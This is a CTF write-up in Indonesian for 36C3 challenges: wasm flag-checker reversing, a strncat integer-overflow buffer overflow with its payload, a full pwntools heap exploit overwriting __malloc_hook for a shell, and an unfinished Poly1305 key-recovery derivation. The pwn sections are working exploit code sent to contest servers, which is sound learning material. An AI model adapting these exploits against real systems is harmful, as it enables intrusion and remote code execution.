36C3 CTF Writeup

Pada tanggal 28-29 kemarin saya sempat mengikuti 36c3 CTF. Bersama satu rekan saya, tim kami mendapat peringkat 37, menurut saya lumayan untuk CTF bergengsi sekelas 36c3 ini, soalnya keren2 dan memerlukan ketelitian dan kerja keras untuk memikirkan cara untuk menyelesaikannya.

Di tulisan ini saya kan membagikan writeup dari challenge-challenge yang saya solve.

xmas_future

Category: Rev, Solves: 95.

Di challenge ini saya diberikan file archive berisi index.html beserta file-file pendukung lain (seperti js, icon, dll). Halaman html jika kita buka lewat browser terdapat inputan yang dapat mengecek input yang diberikan adalah sebuah flag yang benar atau tidak. Seperti terlihat dari gambar diatas, soal ini berhubungan dengan reverse engineering wasm dan rust.

    <div id="container">
      <div id="inner-container">
        <h1>High-speed flag checking</h1>
        <h3>Powered by Rust <img src="./ferris.svg" /> and WASM <img src="./wasm.svg" /></h3>

        <form id="form">
          <input type="text" id="flag" placeholder="hxp{...}" size="50" /><br />
          <button type="submit">Check</button>
        </form>
      </div>
    </div>

    <script type="module">
      import init, { check } from './hxp2019.js';

      async function run() {
        await init();

        document.getElementById('form').addEventListener('submit', function(e) {
          e.preventDefault();
          const flag = document.getElementById('flag').value;
          if (check(flag)) {
            alert('Yes, you found the flag!');
          } else {
            alert('Nope.');
          }
        });
      }

      run();
    </script>

Jika kita mengklik tombol submit Check pada inputan, eksekusi akan diarahkan ke javascript yang menlisten event klik, pada fungsi tersebut data yg diinputkan akan diambil dan dilewatkan ke fungsi check. Jika ditelusuri kode dari fungsi check merupakan kode web assembly, kode tersebut bisa didapatkan lewat debugger.

func $hxp2019::check::h578f31d490e10a31 (param i32 i32) (result i32)
(local i32 i32 i32 i32 i32 i32 i32 i32 i32)
  global.get 0
  i32.const 32
  i32.sub
  local.tee 2
  global.set 0
  i32.const 0
  local.set 3
  block
    local.get 1
    i32.const 50
    i32.ne
    br_if 0
    local.get 2
    i32.const 50
    i32.store offset=4 align=4
    local.get 2
    local.get 0
    i32.store offset=0 align=4
    local.get 2
    i32.const 0
    i32.store offset=8 align=4
    local.get 2
    i32.const 4
    i32.store offset=12 align=4
    block
      block
        local.get 0
        i32.load8_s offset=4 align=1
        i32.const -65
        i32.le_s
        br_if 0
        local.get 0
        i32.const 1049664
        i32.eq
        br_if 1
        i32.const 0
        local.set 3
        local.get 0
        i32.load offset=0 align=1
        i32.const 2070968424
        i32.eq
        br_if 1
        br 2
      end
      local.get 2
      local.get 2
      i32.const 12
      i32.add
      i32.store offset=24 align=4
      local.get 2
      local.get 2
      i32.const 8
      i32.add
      i32.store offset=20 align=4
      local.get 2
      local.get 2
      i32.store offset=16 align=4
      local.get 2
      i32.const 16
      i32.add
      call 42
      unreachable
    end
    local.get 2
    i32.const 50
    i32.store offset=4 align=4
    local.get 2
    local.get 0
    i32.store offset=0 align=4
    local.get 2
    i32.const 49
    i32.store offset=8 align=4
    local.get 2
    i32.const 50
    i32.store offset=12 align=4
    block
      local.get 0
      i32.load8_s offset=49 align=1
      local.tee 1
      i32.const -65
      i32.le_s
      br_if 0
      block
        local.get 0
        i32.const 49
        i32.add
        local.tee 4
        i32.const 1049668
        i32.eq
        br_if 0
        i32.const 0
        local.set 3
        local.get 1
        i32.const 125
        i32.ne
        br_if 2
      end
      local.get 0
      i32.const 4
      i32.add
      local.set 0
      i32.const 0
      local.set 1
      i32.const 1
      local.set 3
      block
        block
          loop
            local.get 4
            local.get 0
            i32.eq
            br_if 4
            local.get 0
            i32.const 1
            i32.add
            local.set 5
            block
              block
                local.get 0
                i32.load8_s offset=0 align=1
                local.tee 6
                i32.const -1
                i32.gt_s
                br_if 0
                block
                  block
                    local.get 5
                    local.get 4
                    i32.ne
                    br_if 0
                    i32.const 0
                    local.set 7
                    local.get 4
                    local.set 8
                    br 1
                  end
                  local.get 0
                  i32.load8_u offset=1 align=1
                  i32.const 63
                  i32.and
                  local.set 7
                  local.get 0
                  i32.const 2
                  i32.add
                  local.tee 5
                  local.set 8
                end
                local.get 6
                i32.const 31
                i32.and
                local.set 9
                block
                  local.get 6
                  i32.const 255
                  i32.and
                  local.tee 6
                  i32.const 223
                  i32.gt_u
                  br_if 0
                  local.get 7
                  local.get 9
                  i32.const 6
                  i32.shl
                  i32.or
                  local.set 6
                  br 2
                end
                block
                  block
                    local.get 8
                    local.get 4
                    i32.ne
                    br_if 0
                    i32.const 0
                    local.set 10
                    local.get 4
                    local.set 8
                    br 1
                  end
                  local.get 8
                  i32.load8_u offset=0 align=1
                  i32.const 63
                  i32.and
                  local.set 10
                  local.get 8
                  i32.const 1
                  i32.add
                  local.tee 5
                  local.set 8
                end
                local.get 10
                local.get 7
                i32.const 6
                i32.shl
                i32.or
                local.set 7
                block
                  local.get 6
                  i32.const 240
                  i32.ge_u
                  br_if 0
                  local.get 7
                  local.get 9
                  i32.const 12
                  i32.shl
                  i32.or
                  local.set 6
                  br 2
                end
                block
                  block
                    local.get 8
                    local.get 4
                    i32.ne
                    br_if 0
                    i32.const 0
                    local.set 6
                    br 1
                  end
                  local.get 8
                  i32.const 1
                  i32.add
                  local.set 5
                  local.get 8
                  i32.load8_u offset=0 align=1
                  i32.const 63
                  i32.and
                  local.set 6
                end
                local.get 7
                i32.const 6
                i32.shl
                local.get 9
                i32.const 18
                i32.shl
                i32.const 1835008
                i32.and
                i32.or
                local.get 6
                i32.or
                local.tee 6
                i32.const 1114112
                i32.eq
                br_if 6
                br 1
              end
              local.get 6
              i32.const 255
              i32.and
              local.set 6
            end
            local.get 1
            i32.const 44
            i32.gt_u
            br_if 1
            local.get 1
            i32.const 2
            i32.shl
            i32.const 1049716
            i32.add
            i32.load offset=0 align=4
            local.get 1
            i32.const 1337
            i32.mul
            i32.xor
            local.tee 8
            i32.const 44
            i32.gt_u
            br_if 2
            local.get 1
            local.get 0
            i32.sub
            local.get 5
            i32.add
            local.set 1
            local.get 5
            local.set 0
            local.get 8
            i32.const 1049669
            i32.add
            i32.load8_u offset=0 align=1
            local.get 6
            i32.const 255
            i32.and
            i32.eq
            br_if 0
          end
          i32.const 0
          local.set 3
          br 3
        end
        i32.const 1049908
        local.get 1
        i32.const 45
        call 26
        unreachable
      end
      i32.const 1049924
      local.get 8
      i32.const 45
      call 26
      unreachable
    end
    local.get 2
    local.get 2
    i32.const 12
    i32.add
    i32.store offset=24 align=4
    local.get 2
    local.get 2
    i32.const 8
    i32.add
    i32.store offset=20 align=4
    local.get 2
    local.get 2
    i32.store offset=16 align=4
    local.get 2
    i32.const 16
    i32.add
    call 42
    unreachable
  end
  local.get 2
  i32.const 32
  i32.add
  global.set 0
  local.get 3
end 

Cukup panjang kode wasmnya, awalnya saya mencoba mendecompilenya dengan wasmdec, hasilnya seperti ini:

int fn_hxp2019::check::h578f31d490e10a31(int local_0, int local_1) {
    // Parsed WASM function locals:
    int local_2;
    int local_3;
    int local_4;
    int local_5;
    int local_6;
    int local_7;
    int local_8;
    int local_9;
    int local_10;
    global$0 = local_2 = global$0 - 32;;
    local_3 = 0;
    label$1:
        if (local_1 != 50) break;
    local_2 = 50;
    local_2 = local_0;
    local_2 = 0;
    local_2 = 4;
    label$2:
        label$3:
        if (local_0 <= -65) break;
    if (local_0 == 1049664) break;
    local_3 = 0;
    if (local_0 == 2070968424) break;
    break;
    local_2 = local_2 + 12;
    local_2 = local_2 + 8;
    local_2 = local_2;
    fn_core::str::traits:: < impl\ 20 core::slice::SliceIndex < str > \20
    for\ 20 core::ops::range::Range < usize >> ::index::\7 b\ 7 bclosure\ 7 d\ 7 d::h81e1d06525c0564b(local_2 + 16);
    /* Unreachable */
    local_2 = 50;
    local_2 = local_0;
    local_2 = 49;
    local_2 = 50;
    label$4:
        if (local_1 = local_0; <=
            -65) break;
    label$5:
        if (local_4 = local_0 + 49; ==
            1049668) break;
    local_3 = 0;
    if (local_1 != 125) break;
    local_0 = local_0 + 4;
    local_1 = 0;
    local_3 = 1;
    label$6:
        label$7:
        while (1) { // Loop name: 'label$8'
            if (local_4 == local_0) break;
            local_5 = local_0 + 1;
            label$9:
                label$10:
                if (local_6 = local_0; >
                    -1) break;
            label$11:
                label$12:
                if (local_5 != local_4) break;
            local_7 = 0;
            local_8 = local_4;
            break;
            local_7 = local_0 && 63;
            local_8 = local_5 = local_0 + 2;
            local_9 = local_6 && 31;
            label$13:
                if (local_6 = local_6 && 255; >
                    223) break;
            local_6 = local_7 || local_9 << 6;
            break;
            label$14:
                label$15:
                if (local_8 != local_4) break;
            local_10 = 0;
            local_8 = local_4;
            break;
            local_10 = local_8 && 63;
            local_8 = local_5 = local_8 + 1;
            local_7 = local_10 || local_7 << 6;
            label$16:
                if (local_6 >= 240) break;
            local_6 = local_7 || local_9 << 12;
            break;
            label$17:
                label$18:
                if (local_8 != local_4) break;
            local_6 = 0;
            break;
            local_5 = local_8 + 1;
            local_6 = local_8 && 63;
            if (local_6 = local_7 << 6 || local_9 << 18 && 1835008 || local_6; ==
                1114112) break;
            break;
            local_6 = local_6 && 255;
            if (local_1 > 44) break;
            if (local_8 = local_1 << 2 + 1049716 ^ local_1 * 1337; >
                44) break;
            local_1 = local_1 - local_0 + local_5;
            local_0 = local_5;
            if (local_8 + 1049669 == local_6 && 255) break;
        } // End of loop 'label$8'
    local_3 = 0;
    break;
    fn_core::panicking::panic_bounds_check::h1fae5a314994f748(1049908, local_1, 45);
    /* Unreachable */
    fn_core::panicking::panic_bounds_check::h1fae5a314994f748(1049924, local_8, 45);
    /* Unreachable */
    local_2 = local_2 + 12;
    local_2 = local_2 + 8;
    local_2 = local_2;
    fn_core::str::traits:: < impl\ 20 core::slice::SliceIndex < str > \20
    for\ 20 core::ops::range::Range < usize >> ::index::\7 b\ 7 bclosure\ 7 d\ 7 d::h81e1d06525c0564b(local_2 + 16);
    /* Unreachable */
    global$0 = local_2 + 32;
    local_3
}

Hasilnya cukup jelek, dan wasmdec tidak dapat merecover control flow dengan baik. Setelah itu saya memutuskan untuk mendecompilenya ke pseudo C secara manual. Hasil decompile dari fungsi check menjadi seperti ini

func check(char *flag, int local1) {
	pglobal0 = global0 - 32;
	global0 = pglobal0;
	local3 = 0;
	if(local1 == 50) {
		*(int32*)(pglobal0 + 4) = 50;
		*(int32*)pglobal0 = flag;
		*(int32*)(pglobal0 + 8) = 0;
		*(int32*)(pglobal0 + 12) = 4;
		if(*(int8*)(flag + 4) <= -65) {
			if(flag == 1049664) {
				local3 = 0;
				if(*(int32*)flag == 2070968424) { /* hxp{ */
					goto L1;
				} else {
					goto returns;
				}
			}
		} else {
			*(int32*)(pglobal0 + 24) = 12 + pglobal0
			*(int32*)(pglobal0 + 20) = 8 + pglobal0
			*(int32*)(pglobal0 + 16) = pglobal0
			func42(pglobal0 + 16);
			unreachable;
		}
L1:
		*(int32*)(pglobal0 + 4) = 50;
		*(int32*)(pglobal0) = 0;
		*(int32*)(pglobal0 + 8) = 49;
		*(int32*)(pglobal0 + 12) = 50;
		if((local1 = *(int8)(flag + 49)) > -65) {
			lastflag = flag + 49;
			if(lastflag != 1049668) {
				local3 = 0;
				if(local1 != 125) goto B2;
			}
			flag = flag + 4;
			local1 = 0;
			local3 = 1;
			if(1) {
				if(1) {
					while(1) {
						if(lastflag == flag) goto returns;
						incflag = flag + 1;
						if(1) {
							if((final_cmp = *(int8*)flag) <= -1) {
								if(incflag == lastflag) {
									local7 = 0;
									local8 = lastflag;

								} else {
									local7 = 63 & *(int8*)(flag + 1);
									incflag = flag + 2;
									local8 = incflag;
								}
								local9 = final_cmp & 31;
								if((final_cmp = final_cmp & 255) <= 223) {
									final_cmp = (local9 << 6) | local7;
									break 2;
								}
								if(local8 == lastflag) {
									local10 = 0;
									local8 = lastflag;
								} else {
									local10 = 63 & *(int8*)(local8 + 1);
									incflag = local8 + 1;
									local8 = incflag;
								}
								local_7 = (local7 << 6) | local10;
								if(final_cmp < 240) {
									final_cmp = (local9 << 12) | local7;
									break 2;
								}
								if(local8 == lastflag) {
									final_cmp = 0;
								} else {
									incflag = local8 + 1;
									final_cmp = *(int8*)(local8) & 63;
								}
								final_cmp = (local7 << 6 | ((local9 << 18) & 1835008)) | final_cmp;
								if(final_cmp == 1114112) {
									goto returns;
								}
							} else {
								final_cmp = final_cmp & 255;
							}
						}
						if(local1 > 44) break 1; // goto breakloop1
						local8 = *(int32*)((local1 << 2) + 1049716) ^ (local1 * 1337);
						if(local8 > 44) break 2 // goto breakloop2;
						local1 = (local1 - flag) + incflag;
						flag = incflag;
						if(*(int8*)(1049669 + local8) == final_cmp & 255) continue;
					}
				breakloop1:
					local3 = 0;
					break3;
				}
			breakloop2:
				func26(45, local1, 1049908);
			}
			func26(45, local8, 1049924);
		}
B2:
		*(int32*)(pglobal0 + 24) = 12 + pglobal0
		*(int32*)(pglobal0 + 20) = 8 + pglobal0
		*(int32*)(pglobal0 + 16) = pglobal0
		func42(pglobal0 + 16);
	}
returns:
	global0 = pglobal0 + 32;
	return local3;
}

Setelah membaca kodenya, terdapat ada banyak kode yang tidak perlu. Kode dibawah ini merupakan kode inti dari pengecekan flag, dengan mudah kita dapat mengikuti algoritma dibawah untuk mendapatkan flag yang benar.

while(1) {
	if(lastflag == flag) goto returns;
	incflag = flag + 1;
	final_cmp = final_cmp & 255;
	if(local1 > 44) break 1; // goto breakloop1
	local8 = *(int32*)((local1 << 2) + 1049716) ^ (local1 * 1337);
	if(local8 > 44) break 2 // goto breakloop2;
	local1 = (local1 - flag) + incflag;
	flag = incflag;
	if(*(int8*)(1049669 + local8) == final_cmp & 255) continue;
}

Berikut di bawah ini kode solver yang saya buat.

from wasmer import Instance
wasm_bytes = open('hxp2019_bg.wasm', 'rb').read()
instance = Instance(wasm_bytes)
mem = instance.memory.uint8_view()
flag = ""
for i in range(45):
    loc8 = mem[(i << 2) + 1049716 + 3] << 24
    loc8 |= mem[(i << 2) + 1049716 + 2] << 16
    loc8 |= mem[(i << 2) + 1049716 + 1] << 8
    loc8 |= mem[(i << 2) + 1049716 + 0]
    loc8 = loc8 ^ (i*1337)
    flag += chr(mem[1049669 + loc8])
print(flag)

Jalankan kode diatas, didapatkan flag: **hxp{merry_xmas___github.com/benediktwerner/rewasm}**

flag_concat

Category: pwn, Solves: 32.

Diberikan sebuah file archive, terdapat binary ELF 64 bit beserta source codenya. Ketika dijalan program tersebut menerima dua input, dan menggabungkan dua inputan tersebut menjadi output.

  % ./vuln
Welcome to the hxp flag concat protocol server!
First Flag:
AAAAAAA
Second Flag:
BBBBB
Going to output 14 bytes max!
AAAAAAA
BBBBB

Berikut di bawah ini merupakan source code dari program diatas.

// gcc -no-pie -o vuln vuln.c

#include <stdint.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>

typedef struct{
	char s1[0x400];
	char s2[0x200];
	char *concatenated_s3;
} packed_strings;

packed_strings strings;

void win(){
	printf("Debug mode activated!\n");
	system("cat flag.txt");
}

void do_strncat(){
	int output_len = 0;
	char *start_s1 = NULL;
	char *start_s2 = NULL;

	printf("First Flag:\n");
	fgets(strings.s1, 0x100, stdin);
	printf("Second Flag:\n");
	fgets(strings.s2, 0x100, stdin);

	output_len = strlen(strings.s1) + strlen(strings.s2);
	char s3[output_len+1];
	strings.concatenated_s3 = s3;

	printf("Going to output %i bytes max!\n", output_len);

	start_s1 = strstr(strings.s1, "hxp{");
	start_s2 = strstr(strings.s2, "hxp{");

	if(!start_s1){
		start_s1 = strings.s1;
	}
	if(!start_s2){
		start_s2 = strings.s2;
	}

	strncat(start_s1, start_s2, SIZE_MAX);
	strcpy(strings.concatenated_s3, start_s1);

	printf("%s\n", strings.concatenated_s3);
}

int main(){
	setbuf(stdout, NULL);
	setbuf(stdin, NULL);
	printf("Welcome to the hxp flag concat protocol server!\n");
	do_strncat();
	return 0;
}

Tujuan kita adalah mengalihkan eksekusi program ke fungsi win untuk mendapatkan flag. Setelah dianalisa dan dilakukan percobaan, sepertinya kode diatas tidak memiliki bug. Dan entah kenapa saya menjadi curiga dengan strncat dan mencoba mengrep strncat di libc source code.

  % rg strncat
NEWS
1671:  [19390] string: Integer overflow in strncat
3216:* Optimized strcat, strncat on x86-64 and optimized wcscmp, wcslen, strnlen

Hmm, tertulis di file NEWS bahwa terdapat integer overflow pada strncat. Lalu saya googling “strncat integer overflow” dan menemukan pembicaraan di forum ycombinator yang menyebutkan terdapat bug pada strncat jika panjang string yang dilewatkan pada parameter ketiga berupa SIZE_MAX. Di source code program parameter ketiga pada strncat adalah SIZE_MAX, dan ini sesuai dengan bug pada strncat.

Lalu dengan mengikut link ini (https://sourceware.org/bugzilla/show_bug.cgi?id=19390) saya mencoba mereproduce bug dengan kode yang disertakan link tersebut dengan mesin docker yang disediakan oleh challenge dan bug tersebut dapat ter-reproduce, itu artinya mesin yang disediakan oleh challenge dapat diexploit melalui bug strncat tersebut. Setelah dilakukan trial and error, saya berhasil mencraft exploit dengan bug ini agar melakukan buffer overflow pada program dan mengalihkan eksekusi ke fungsi win.

  % python -c 'print "\x00"+"A"*231+"\xb6\x07@\x00\x00\x00\x00\x00"+ "\n" + "B"*60+"hxp{".ljust(41,"B")+"\x00"' | nc 78.47.126.177 7777
Welcome to the hxp flag concat protocol server!
First Flag:
Second Flag:
Going to output 101 bytes max!
hxp{BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@
Debug mode activated!
hxp{w3_cant_3v3n_get_strncat_s3cure_lol}

Bisa dilihat di atas, payload yang saya kirimkan ke server adalah "\x00"+"A"231+"\xb6\x07@\x00\x00\x00\x00\x00"+ "\n" + "B"60+"hxp{".ljust(41,"B")+"\x00", itu adalah payload yang sudah dirancang agar dapat mentrigger buffer overflow dan mengoverwrite return address dengan fungsi win. Setelah payload dikirimkan flag pun ditampilkan yang berupa string : hxp{w3_cant_3v3n_get_strncat_s3cure_lol}

onetimepad

Category: pwn, Solves: 24

Ini adalah soal pwn hard yang saya solve di 36c3 ctf ini, walaupun ada sedikit drama pada awalnya dalam ngesolve challenge, tapi challenge ini cukup menyenangkan dan menantang wkwk.

Jadi, di sini kita diberikan sebuah file program binary beserta source codenya. Ini merupakan heap exploitation challenge, di mana kita diberikan sebuah use (write) after free hanya sekali saja. Source codenya seperti ini.

#define _POSIX_C_SOURCE 200809L
#include <stdio.h>
#include <stddef.h>
#include <stdlib.h>
#include <string.h>

struct one_time_pad {
    int in_use;
    size_t len;
    char *data;
};

struct one_time_pad pad[8];
char *line = NULL;
size_t lsize = 0;
int rewrites = 1;

void fail(const char *err) {
    puts(err);
    exit(1);
}

int get_free(void){
    for (int i = 0; i < sizeof(pad) / sizeof(pad[0]); ++i) {
        if (!pad[i].in_use)
            return i;
    }
    return -1;
}

ssize_t read_line() {
    ssize_t rl = getline(&line, &lsize, stdin);
    if (rl < 0)
        fail("error while reading a line");
    if (!rl || line[rl - 1] != '\n')
        rl += 1;
    line[rl - 1] = 0;
    return rl;
}

unsigned read_idx() {
    ssize_t rl = read_line();
    char *tmp;
    unsigned idx = strtoul(line, &tmp, 0);
    if (tmp + 1 != line + rl || idx >= sizeof(pad) / sizeof(pad[0]))
        fail("quit your shady BS");
    return idx;
}

void write(void) {
    int idx = get_free();
    if (idx < 0)
        fail("for security reasons only a small number of one time pads can be stored");
    read_line();
    pad[idx].in_use = 1;
    pad[idx].len = strlen(line);
    pad[idx].data = strdup(line);
}

void read(void) {
    unsigned idx = read_idx();
    if (pad[idx].in_use) {
        puts(pad[idx].data);
        free(pad[idx].data);
        pad[idx].in_use = 0;
    } else
        fail("you can only use a one time pad once dummy!");
}

void rewrite(void) {
    if (rewrites) {
        --rewrites;
    } else {
        fail("You are a liabilty!");
    }
    unsigned idx = read_idx();
    ssize_t rl = read_line();
    if (rl > pad[idx].len)
        fail("you don't have enough space");
    strcpy(pad[idx].data, line);
}

int main(int argc, char **argv) {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    while (1) {
        puts("w̲rite");
        puts("r̲ead");
        puts("re̲write");
        printf("> ");
        read_line();
        switch(line[0]) {
            case 'w':
                write();
                break;
            case 'r':
                read();
                break;
            case 'e':
                rewrite();
                break;
            default:
                return 0;
        }
    }
}

Source codenya cukup jelas bukan. Kita hanya dapat melakukan write after free hanya sekali saja di fungsi rewrite. Binary yang diberikan juga memiliki full proteksi. Libc yang diberikan challenge adalah libc debian dengan versi 2.28.

Pada awalnya saya berhasil membuat exploit di local dengan libc 2.27 di mesin saya, karena saya melihat libc dengan versi 2.28 tidak beda jauh dengan libc 2.27, ternyata itu tidak berlaku bagi libc debian, saya menyadari bahwa libc yang diberikan adalah libc debian setelah saya sudah hampir menyelesaikan exploit saya (wkwk cukup lama padahal bikin exploitnya) dan exploit saya sama sekali tidak bekerja ketika dijalankan dengan libc debian 2.28 tersebut. Akhirnya saya sempat berhenti sejenak dan mencoba mengerjakan challenge ini, saya cukup kesal usaha saya sama sekali tidak berhasil.

Keeseokan harinya, saya mencoba mengerjakan challenge itu lagi, untuk kali ini saya membuat exploitnya langsung di mesin debiannya agar kesalahan waktu itu tidak terulang lagi. Untungnya saya masih dapat menggunakan exploit lama saya hanya saja perlu mengganti beberapa bagian untuk membypass pengecekan double free pada tcache dan pengecekan2 malloc lainnya (padahal di libc ubuntu dengan versi yang sama, tidak ada pengecekan itu). Walaupun sama saja, hitungan waktunya seperti saya membuat exploit dari awal.

Exploit yang saya buat

from pwn import *

context.arch = "amd64"
context.terminal = "tmux splitw -h -f".split()
#p = process("./onetimepad")
p = remote("88.198.154.140", 31336)
#libc = ELF("./libc.so", checksec=False)
cmd = ""
DEBUG = 0
if DEBUG:
    gdb.attach(p, cmd)

def write(b):
    p.sendlineafter("> ", "w")
    p.sendline(b)

def read(idx):
    p.sendlineafter("> ", "r")
    p.sendline(str(idx))
    data = p.recvuntil('rite\n', drop=True)
    return data[:-4]

def rewrite(idx, b):
    p.sendlineafter("> ", "e")
    p.sendline(str(idx))
    p.sendline(b)

offh = 4112
write("A"*0x4d0)
write("A"*0x10)
write("A"*0x8+p64(0x20))
write("B"*0x30)
write("C"*0x30)
write("E"*0x30)
read(4)
read(5)
rewrite(5, "")
write("X"*0x30)
write("Z"*0x30)
read(5)
write("A"*15)
read(5)
write("A"*14)
read(5)
write("A"*13)
read(5)
write("A"*12)
read(5)
write("A"*11)
read(5)
write("A"*10)
read(5)
write("A"*9)
write("A"*0x30)
read(6)
read(5)
write("A"*8 + p64(0x91))
read(3)
read(4)
write("A"*0x80)
write("X"*0x8)
read(4)
write("Y"*0x30)
write("X"*0x30)
read(5)
read(2)
write("A"*8 + p64(0x30))
leak = u64(read(6).ljust(8, "\x00"))
heapbase = leak - offh
libchoff = heapbase + 2544
libchoff = heapbase + 3568
print(hex(heapbase))
read(2)
write("A"*8 + p64(0x20))
write("A"*15)
read(5)
write("A"*14)
read(5)
write("A"*13)
read(5)
write("A"*12)
read(5)
write("A"*11)
read(5)
write("A"*10)
read(5)
print(hex(libchoff))
write("A"*0x20)
read(5)
write("")
read(2)
write("A"*8 + p64(0x31))
read(5)
read(2)
write("A"*8 + p64(0x20))
write(p64(libchoff)[:-1])
write("B"*0x20)
write("A"*0x20)
read(0)
write("A"*0x3f0)
leak = u64(read(7).ljust(8, "\x00"))
print(hex(leak))
libcbase = leak - 1817760
free_hook = libcbase + 0x00000000001bd8e8
malloc_hook = libcbase + 0x00000000001bbc30
print(hex(libcbase))
read(0)
read(2)
write("A"*8 + p64(0xa1))
read(5)
write("A"*0x88+"B"*7)
read(2)
write("A"*0x88+"B"*6)
read(2)
write("A"*0x88+"B"*5)
read(2)
write("A"*0x88+"B"*4)
read(2)
write("A"*0x88+"B"*3)
read(2)
write("A"*0x88+"B"*2)
read(2)
write("A"*0x88+p64(0x41))
read(4)
read(0)
write("A"*8 + p64(0xa0))
read(2)
write("A"*0x90+"A"*7)
read(2)
write("A"*0x90+"A"*6)
read(2)
write("A"*0x90+p64(malloc_hook-0x28))
write("A"*0x30)
sys = libcbase + 281024
one = libcbase + 0x448a3
one = libcbase + 0xe5456
write("A"*0x28+p64(one)[:-1])
write("BB")
p.interactive()

Exploit saya diatas menggunakan partial overwrite pada chunk yang telah difree agar menunjuk chunk lain yang telah saya siapkan, chunk tersebut telah saya siapkan agar dapat mengontrol size chunk pada chunk setelahnya (yang bersebalahan secara langsung pada memory). Ketika sizenya sudah terkontrol kita dapat mengontrol dan mengoverwrite juga pada chunk setelahnya, contohnya kita dapat mengubah chunk size menjadi size yang lebih besar agar ketika di-free dan di-malloc lagi itu akan dapat mengovewrite chunk setelahnya.

Setelah mendapat cara untuk mengontrol semuanya, pada awalnya saya memikirkan untuk mencari heap leak terlebih dahulu sebelum melakukan libc leak jadi exploit saya keliatan panjang, padahal saya baru menyadari ternyata kita dapat langsung meleak libc tanpa meleak heap terlebih dahulu. Hal yang membuat lama dalam membuat exploit ini adalah memikirkan cara membypass pengecekan double free pada tcache dan pengecekan unsorted bin, pengecekan ini muncul pada libc2 versi baru.

Jalankan exploit diatas, and we got the shell 🙂

root@7a0b8add1144:/home/ctf# python exploit.py               
[+] Opening connection to 88.198.154.140 on port 31336: Done 
0x556fab188000                                               
0x556fab188df0                                               
0x7feed0871ca0                                               
0x7feed06b6000                                               
[*] Switching to interactive mode                            
$ ls                                                         
flag_uUZKcQPJ8OwlfDPFoA9CAhd4.txt                            
onetimepad                                                   
$ cat flag_uUZKcQPJ8OwlfDPFoA9CAhd4.txt                      
hxp{HsIuUU__g-will-5e1f-d3s7rUct-af7er-R3adlnG}              
[*] Got EOF while reading in interactive                     
$                                                            

nacht

Category: crypto, Solves: 35.

Sebenarnya saya tidak mensolve challenge ini, melainkan satu rekan tim saya. Pada awalnya saya mengerjakan challenge ini juga, tetapi karena rekan tim saya ternyata juga mengerjakan ini, saya tidak melanjutkannya lagi.

Diberikan sebuah script vuln.py. Kodenya seperti ini.

#!/usr/bin/env python3
import os, ctypes

lib = ctypes.CDLL('./tweetnacl.so')

def mac(key, msg):
    tag = ctypes.create_string_buffer(16)
    lib.crypto_onetimeauth_poly1305_tweet(tag, key, len(msg), msg)
    return bytes(tag)

def chk(key, tag, msg):
    return not lib.crypto_onetimeauth_poly1305_tweet_verify(tag, key, len(msg), msg)


key = os.urandom(32)
print(key.hex())

for _ in range(32):
    msg = os.urandom(32)
    print(msg.hex(), mac(key, msg).hex())

msg = os.urandom(32)
print(msg.hex(), '?'*32)

tag = bytes.fromhex(input())

if not chk(key, tag, msg):
    print('no')
    exit(1)

print(open('flag.txt').read().strip())

Untuk mendapatkan tweetnacl.so, bisa menggunakan script Makefile ini.

tweetnacl.so:
        (: \
        && curl -s https://tweetnacl.cr.yp.to/20140427/tweetnacl.h \
        && curl -s https://tweetnacl.cr.yp.to/20140427/tweetnacl.c \
        && echo '#include <sys/random.h>' \
        && echo '#include <stdlib.h>' \
        && echo 'void randombytes(u8 *p, u64 n)' \
        && echo '{ for (ssize_t r = 0; n -= r; p += r)' \
        && echo 'if (0 > (r = getrandom(p, n, 0))) exit(-1); }' \
        )| \
        fgrep -v tweetnacl.h | \
        gcc -shared -O2 -Wl,-s -fpic -xc - -o tweetnacl.so

clean:
        rm -f tweetnacl.so

Untuk mendapatkan flag kita diharuskan mengirimkan tag yang benar dari sebuah message yang random dan key yang tidak diketahui, tag dihasilkan dari algoritma poly1305. poly1305 adalah sebuah algoritma untuk menghitung Message Authentication Code (MAC). Di script tersebut juga, kita diberikan 32 pasang message dan tag, mungkin diharapkan kita dapat merecover key dengan data2 yang diberikan.

Implementasi poly1305 dalam python sesuai RFC 7539 adalah seperti ini.

def clamp(r):
    return r & 0x0ffffffc0ffffffc0ffffffc0fffffff

def poly_mac(msg, key):
    r = clamp(int.from_bytes(key[:16], 'little'))
    s = int.from_bytes(key[16:], 'little')
    acc = 0
    p = (1<<130)-5
    mod = 2**128
    for i in range(0,len(msg),16):
        block = msg[i:i+16]
        habit = 1 << (len(block)*8)
        block = habit | int.from_bytes(block, 'little')
        acc = ((acc+block)*r)
    return (acc + s) % p % mod

Setelah dianalisa, ternyata poly1305 ini akan menghasilkan persamaan polinomial berpangkat sesuai dengan panjang messagenya. Perhitungan saya dibawah ini juga menunjukkan kita dapat mencari key dari dua pasang message dan tag, namun message diskenario ini adalah panjangnya 32 byte agar fungsi poly1305 ini menghasilkan polinomial pangkat dua. Polinomial pangkat dua dapat dengan mudah disolve dengan rumus abc.

((((427021009469412973757960291679081677121*x)+427021009469412973757960291679081677121)*x)+y)%m == 1151799300458316328897953092421386031666
((((428355450124004889300953917590578807362*x)+428355450124004889300953917590578807362)*x)+y)%m == 792033386665994668184329059824953627178

ax*2 + bx + y == c (mod m)
dx*2 + ex + y == f (mod m)
------------------ -
ax*2 + bx - dx*2 - ex == c - f (mod m)
(d-a)x*2 + (e-b)bx + c-f == 0 (mod m)

a = 427021009469412973757960291679081677121
d = 428355450124004889300953917590578807362

b = 427021009469412973757960291679081677121
e = 428355450124004889300953917590578807362

c = 1151799300458316328897953092421386031666
f = 792033386665994668184329059824953627178

m = 1361129467683753853853498429727072845819 # 2**130-5

